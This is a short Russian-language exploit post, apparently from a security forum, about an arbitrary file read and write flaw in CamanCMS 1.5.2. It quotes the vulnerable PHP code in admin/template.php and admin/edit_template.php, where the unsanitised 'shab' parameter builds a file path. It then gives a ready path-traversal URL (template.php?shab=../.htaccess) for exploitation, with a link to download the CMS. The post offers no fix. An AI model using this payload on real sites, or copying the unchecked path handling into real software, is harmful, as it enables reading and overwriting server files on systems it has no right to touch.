Произвольное чтение файлов и запись информации в файлы
version: CamanCMS 1.5.2
Need:
admin account
admin/template.php
PHP код:
if(!$_GET["shab"]) {$file_edit = "main.tpl";}
else {$file_edit = $_GET["shab"];}
//...
$file_name = '../template/'.$file_edit.'';
$r = @fopen($file_name,'r');
$text = @fread($r,filesize($file_name));
//...
<form action="edit_template.php?shab={$file_edit}" method="post">
<textarea style="height: 600px; width: 99%;" name="template">{$text}</textarea><br>
<input type="submit" value="Изменить шаблон">
</form>
admin/edit_template.php
PHP код:
//...
$file_name = "../template/".$_GET["shab"]."";
$text = $_POST["template"];
$text = @stripcslashes($text);
$w=@fopen($file_name,'w');
@fwrite($w,$text);
Эксплуатация:
Код:
http://localhost/caman/admin/template.php?shab=../.htaccess
Cкачать можно тут: http://www.script-php.ru/cms_sistemy_upravleniya_saytom/1286-camancms-152.html